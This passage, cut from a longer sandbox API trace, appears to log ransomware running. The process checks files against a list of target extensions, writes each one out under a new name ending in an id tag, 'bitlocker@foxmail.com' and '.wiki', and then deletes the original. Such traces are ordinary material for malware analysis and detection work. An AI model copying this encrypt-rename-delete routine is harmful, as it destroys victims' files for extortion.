returned -1 [0175.443] lstrlenW (lpString=".rar") returned 4 [0175.443] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.443] lstrlenW (lpString=".bz2") returned 4 [0175.443] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.443] lstrlenW (lpString=".7z") returned 3 [0175.443] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.443] lstrlenW (lpString=".dbf") returned 4 [0175.443] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.443] lstrlenW (lpString=".1cd") returned 4 [0175.443] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.444] lstrlenW (lpString=".jpg") returned 4 [0175.444] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.444] lstrlenW (lpString=".doc") returned 4 [0175.444] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".docx") returned 5 [0175.444] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.444] lstrlenW (lpString=".pdf") returned 4 [0175.444] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".xls") returned 4 [0175.444] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".xlsx") returned 5 [0175.444] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.444] lstrlenW (lpString=".ppt") returned 4 [0175.444] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.444] lstrlenW (lpString=".zip") returned 4 [0175.444] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".rar") returned 4 [0175.444] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".bz2") returned 4 [0175.444] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.444] lstrlenW (lpString=".7z") returned 3 [0175.444] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.444] lstrlenW (lpString=".dbf") returned 4 [0175.444] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.445] lstrlenW (lpString=".1cd") returned 4 [0175.445] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.445] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.445] lstrlenW (lpString=".jpg") returned 4 [0175.445] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.445] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.445] lstrlenW (lpString="messages.json") returned 13 [0175.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.445] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=227) returned 1 [0175.445] CloseHandle (hObject=0x1ac) returned 1 [0175.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json")) returned 0x2020 [0175.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.446] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.446] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.446] GetLastError () returned 0x0 [0175.446] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe3, lpOverlapped=0x0) returned 1 [0175.448] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.448] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.448] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.449] SetEndOfFile (hFile=0x19c) returned 1 [0175.449] CloseHandle (hObject=0x19c) returned 1 [0175.449] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.449] SetEndOfFile (hFile=0x1ac) returned 1 [0175.450] CloseHandle (hObject=0x1ac) returned 1 [0175.450] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.450] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json")) returned 1 [0175.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.450] lstrlenW (lpString=".doc") returned 4 [0175.450] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.450] lstrlenW (lpString=".docx") returned 5 [0175.450] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.450] lstrlenW (lpString=".pdf") returned 4 [0175.450] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.450] lstrlenW (lpString=".xls") returned 4 [0175.450] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.450] lstrlenW (lpString=".xlsx") returned 5 [0175.450] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.451] lstrlenW (lpString=".ppt") returned 4 [0175.451] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString=".zip") returned 4 [0175.451] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.451] lstrlenW (lpString=".rar") returned 4 [0175.451] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.451] lstrlenW (lpString=".bz2") returned 4 [0175.451] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.451] lstrlenW (lpString=".7z") returned 3 [0175.451] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString=".dbf") returned 4 [0175.451] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString=".1cd") returned 4 [0175.451] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString=".jpg") returned 4 [0175.451] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.451] lstrlenW (lpString=".doc") returned 4 [0175.451] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.451] lstrlenW (lpString=".docx") returned 5 [0175.451] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.451] lstrlenW (lpString=".pdf") returned 4 [0175.451] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.451] lstrlenW (lpString=".xls") returned 4 [0175.451] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.452] lstrlenW (lpString=".xlsx") returned 5 [0175.452] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.452] lstrlenW (lpString=".ppt") returned 4 [0175.452] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.452] lstrlenW (lpString=".zip") returned 4 [0175.452] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.452] lstrlenW (lpString=".rar") returned 4 [0175.452] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.452] lstrlenW (lpString=".bz2") returned 4 [0175.452] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.452] lstrlenW (lpString=".7z") returned 3 [0175.452] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.452] lstrlenW (lpString=".dbf") returned 4 [0175.452] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.452] lstrlenW (lpString=".1cd") returned 4 [0175.452] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 151 [0175.452] lstrlenW (lpString=".jpg") returned 4 [0175.452] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.452] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.452] lstrlenW (lpString="messages.json") returned 13 [0175.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.453] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=212) returned 1 [0175.453] CloseHandle (hObject=0x1ac) returned 1 [0175.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0175.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.453] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.453] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.455] GetLastError () returned 0x0 [0175.455] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd4, lpOverlapped=0x0) returned 1 [0175.456] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.456] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.457] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.457] SetEndOfFile (hFile=0x19c) returned 1 [0175.457] CloseHandle (hObject=0x19c) returned 1 [0175.457] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.457] SetEndOfFile (hFile=0x1ac) returned 1 [0175.458] CloseHandle (hObject=0x1ac) returned 1 [0175.458] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.458] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json")) returned 1 [0175.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.458] lstrlenW (lpString=".doc") returned 4 [0175.458] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.458] lstrlenW (lpString=".docx") returned 5 [0175.458] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.458] lstrlenW (lpString=".pdf") returned 4 [0175.458] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.458] lstrlenW (lpString=".xls") returned 4 [0175.458] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.458] lstrlenW (lpString=".xlsx") returned 5 [0175.458] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.458] lstrlenW (lpString=".ppt") returned 4 [0175.458] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.458] lstrlenW (lpString=".zip") returned 4 [0175.459] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".rar") returned 4 [0175.459] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".bz2") returned 4 [0175.459] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".7z") returned 3 [0175.459] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.459] lstrlenW (lpString=".dbf") returned 4 [0175.459] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.459] lstrlenW (lpString=".1cd") returned 4 [0175.459] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.459] lstrlenW (lpString=".jpg") returned 4 [0175.459] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.459] lstrlenW (lpString=".doc") returned 4 [0175.459] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".docx") returned 5 [0175.459] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.459] lstrlenW (lpString=".pdf") returned 4 [0175.459] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".xls") returned 4 [0175.459] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.459] lstrlenW (lpString=".xlsx") returned 5 [0175.459] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.459] lstrlenW (lpString=".ppt") returned 4 [0175.459] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.460] lstrlenW (lpString=".zip") returned 4 [0175.460] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.460] lstrlenW (lpString=".rar") returned 4 [0175.460] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.460] lstrlenW (lpString=".bz2") returned 4 [0175.460] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.460] lstrlenW (lpString=".7z") returned 3 [0175.460] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.460] lstrlenW (lpString=".dbf") returned 4 [0175.460] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.460] lstrlenW (lpString=".1cd") returned 4 [0175.460] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.460] lstrlenW 